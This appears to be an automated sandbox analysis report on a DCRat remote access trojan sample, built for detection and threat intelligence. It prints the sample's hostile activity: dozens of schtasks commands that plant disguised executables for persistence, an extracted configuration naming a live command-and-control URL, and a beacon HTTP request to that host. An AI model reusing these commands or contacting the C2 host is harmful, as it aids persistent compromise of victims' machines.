Edit tour

Windows Analysis Report
jx2eCe6ymR.exe

Overview

General Information

Sample name:	jx2eCe6ymR.exe renamed because original name is a hash value
Original sample name:	22acd327c5273659a31e56d94cefed20.exe
Analysis ID:	1467270
MD5:	22acd327c5273659a31e56d94cefed20
SHA1:	0c3534ab1f3f2fbc3b2410b50c0bd3450e8b7e20
SHA256:	b56d3e6d1b59e49bbec7d67b46efdabcd4f63113d4937e713c017a5c8307c1f9
Tags:	DCRatexe
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Yara detected DCRat

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates processes via WMI

Drops executable to a common third party application directory

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file has nameless sections

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to detect virtual machines (SLDT)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

jx2eCe6ymR.exe (PID: 1468 cmdline: "C:\Users\user\Desktop\jx2eCe6ymR.exe" MD5: 22ACD327C5273659A31E56D94CEFED20)

wscript.exe (PID: 5012 cmdline: "C:\Windows\System32\WScript.exe" "C:\providerReviewperfsvc\82mN47a0TiFi3a9eGnk.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 5252 cmdline: C:\Windows\system32\cmd.exe /c ""C:\providerReviewperfsvc\jW8bFRH7MHNFa6gk2NSgaGKIpk.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

hyperIntoruntime.exe (PID: 1364 cmdline: "C:\providerReviewperfsvc\hyperIntoruntime.exe" MD5: CA3AE9AE64643D74D4EAF06F154F272A)

schtasks.exe (PID: 6824 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7076 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 368 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3488 cmdline: schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\providerReviewperfsvc\Idle.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6928 cmdline: schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\providerReviewperfsvc\Idle.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3248 cmdline: schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\providerReviewperfsvc\Idle.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 616 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5908 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Users\Default User\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4904 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6368 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Application Data\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1804 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Users\Default\Application Data\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5388 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Application Data\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7072 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 7 /tr "'C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5616 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1224 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 14 /tr "'C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5928 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 14 /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2264 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 420 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 5 /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5544 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Recovery\RuntimeBroker.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6864 cmdline: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6852 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Recovery\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5812 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 13 /tr "'C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3552 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4508 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 12 /tr "'C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4824 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 9 /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1612 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1668 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 5 /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3640 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4420 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6420 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5012 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\java\jre-1.8\bin\plugin2\RuntimeBroker.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6472 cmdline: schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\bin\plugin2\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4544 cmdline: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\java\jre-1.8\bin\plugin2\RuntimeBroker.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 340 cmdline: schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 9 /tr "'C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

Idle.exe (PID: 6412 cmdline: C:\providerReviewperfsvc\Idle.exe MD5: CA3AE9AE64643D74D4EAF06F154F272A)

Idle.exe (PID: 5268 cmdline: C:\providerReviewperfsvc\Idle.exe MD5: CA3AE9AE64643D74D4EAF06F154F272A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"SCRT": "{\"c\":\"<\",\"i\":\"!\",\"1\":\"%\",\"j\":\" \",\"N\":\"*\",\"A\":\"-\",\"J\":\">\",\"5\":\")\",\"w\":\"&\",\"M\":\"~\",\"h\":\".\",\"0\":\"^\",\"9\":\"|\",\"o\":\"`\",\"W\":\";\",\"C\":\"#\",\"B\":\"@\",\"6\":\"_\",\"D\":\"$\",\"y\":\",\",\"Q\":\"(\"}", "PCRT": "{\"h\":\"&\",\"l\":\"!\",\"q\":\"#\",\"Q\":\"$\",\"B\":\"|\",\"F\":\";\",\"N\":\"(\",\"D\":\"@\",\"3\":\"*\",\"J\":\" \",\"0\":\"-\",\"j\":\"`\",\"U\":\"_\",\"T\":\".\",\"K\":\"^\",\"C\":\">\",\"R\":\"%\",\"9\":\"~\",\"t\":\"<\",\"Y\":\",\",\"E\":\")\"}", "TAG": "", "MUTEX": "DCR_MUTEX-VR44XW95BWe3p1mj6E9P", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 2, "AUR": 1, "ASCFG": null, "AS": false, "ASO": false, "AD": false, "H1": "http://a1000454.xsph.ru/@==gbJBzYuFDT", "H2": "http://a1000454.xsph.ru/@==gbJBzYuFDT", "T": "0"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2177868968.0000000003271000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.2177868968.000000000366C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000028.00000002.2265382681.0000000002731000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000025.00000002.2205565303.0000000002A81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.2178660270.000000001327F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: hyperIntoruntime.exe PID: 1364	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: Idle.exe PID: 6412	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: Idle.exe PID: 5268	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\providerReviewperfsvc\hyperIntoruntime.exe, ProcessId: 1364, TargetFilename: C:\Recovery\RuntimeBroker.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\providerReviewperfsvc\82mN47a0TiFi3a9eGnk.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\providerReviewperfsvc\82mN47a0TiFi3a9eGnk.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\jx2eCe6ymR.exe", ParentImage: C:\Users\user\Desktop\jx2eCe6ymR.exe, ParentProcessId: 1468, ParentProcessName: jx2eCe6ymR.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\providerReviewperfsvc\82mN47a0TiFi3a9eGnk.vbe" , ProcessId: 5012, ProcessName: wscript.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Recovery\RuntimeBroker.exe'" /f, CommandLine: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Recovery\RuntimeBroker.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\providerReviewperfsvc\hyperIntoruntime.exe" , ParentImage: C:\providerReviewperfsvc\hyperIntoruntime.exe, ParentProcessId: 1364, ParentProcessName: hyperIntoruntime.exe, ProcessCommandLine: schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Recovery\RuntimeBroker.exe'" /f, ProcessId: 5544, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: jx2eCe6ymR.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://a1000454.xsph.ru/@==gbJBzYuFDT	Avira URL Cloud: Label: malware
Source: http://a1000454.xsph.ru	Avira URL Cloud: Label: malware
Source: http://a1000454.xsph.ru/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\providerReviewperfsvc\82mN47a0TiFi3a9eGnk.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Windows\twain_32\backgroundTaskHost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\rIyUTfpTbB.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\providerReviewperfsvc\Idle.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984

Found malware configuration

Source: 00000005.00000002.2178660270.000000001327F000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"SCRT": "{\"c\":\"<\",\"i\":\"!\",\"1\":\"%\",\"j\":\" \",\"N\":\"*\",\"A\":\"-\",\"J\":\">\",\"5\":\")\",\"w\":\"&\",\"M\":\"~\",\"h\":\".\",\"0\":\"^\",\"9\":\"|\",\"o\":\"`\",\"W\":\";\",\"C\":\"#\",\"B\":\"@\",\"6\":\"_\",\"D\":\"$\",\"y\":\",\",\"Q\":\"(\"}", "PCRT": "{\"h\":\"&\",\"l\":\"!\",\"q\":\"#\",\"Q\":\"$\",\"B\":\"|\",\"F\":\";\",\"N\":\"(\",\"D\":\"@\",\"3\":\"*\",\"J\":\" \",\"0\":\"-\",\"j\":\"`\",\"U\":\"_\",\"T\":\".\",\"K\":\"^\",\"C\":\">\",\"R\":\"%\",\"9\":\"~\",\"t\":\"<\",\"Y\":\",\",\"E\":\")\"}", "TAG": "", "MUTEX": "DCR_MUTEX-VR44XW95BWe3p1mj6E9P", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 2, "AUR": 1, "ASCFG": null, "AS": false, "ASO": false, "AD": false, "H1": "http://a1000454.xsph.ru/@==gbJBzYuFDT", "H2": "http://a1000454.xsph.ru/@==gbJBzYuFDT", "T": "0"}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe	ReversingLabs: Detection: 87%
Source: C:\ProgramData\USOShared\RuntimeBroker.exe	ReversingLabs: Detection: 87%
Source: C:\Recovery\RuntimeBroker.exe	ReversingLabs: Detection: 87%
Source: C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe	ReversingLabs: Detection: 87%
Source: C:\Users\Default\AppData\Roaming\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe	ReversingLabs: Detection: 87%
Source: C:\Users\Default\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe	ReversingLabs: Detection: 87%
Source: C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe	ReversingLabs: Detection: 87%
Source: C:\Windows\twain_32\backgroundTaskHost.exe	ReversingLabs: Detection: 87%
Source: C:\providerReviewperfsvc\Idle.exe	ReversingLabs: Detection: 87%
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	ReversingLabs: Detection: 87%
Source: C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe	ReversingLabs: Detection: 87%

Multi AV Scanner detection for submitted file

Source: jx2eCe6ymR.exe

ReversingLabs: Detection: 84%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Joe Sandbox ML: detected
Source: C:\Windows\twain_32\backgroundTaskHost.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Joe Sandbox ML: detected
Source: C:\providerReviewperfsvc\Idle.exe	Joe Sandbox ML: detected
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: jx2eCe6ymR.exe

Joe Sandbox ML: detected

Source: jx2eCe6ymR.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Directory created: C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Directory created: C:\Program Files\Windows Photo Viewer\en-GB\76f3bf53489b45	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Directory created: C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Directory created: C:\Program Files\Windows Media Player\76f3bf53489b45	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\76f3bf53489b45	Jump to behavior

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: jx2eCe6ymR.exe, jx2eCe6ymR.exe, 00000000.00000002.2100774612.00000000002F1000.00000040.00000001.01000000.00000003.sdmp

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://a1000454.xsph.ru/@==gbJBzYuFDT

Source: Joe Sandbox View	IP Address: 141.8.192.58 141.8.192.58
Source: Joe Sandbox View	IP Address: 141.8.192.58 141.8.192.58

Source: Joe Sandbox View

ASN Name: SPRINTHOSTRU SPRINTHOSTRU

Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF&8228d7c483384ae54368123d64aa93df=360e60b3d586218aa1c996837564f7dd&61e56f83cf389d328f5351f3b54d3707=gN0QjN5EzNwYTO2ITYiNGO4gzMiJWZ0IjYmRWMjRTM5YGNxETZhVTM&e6ZsQXuVawM=Sd&6Vza2BSzHui=b9fw14XeA8l9QJEXxPTftrF HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: a1000454.xsph.ruConnection: Keep-Alive
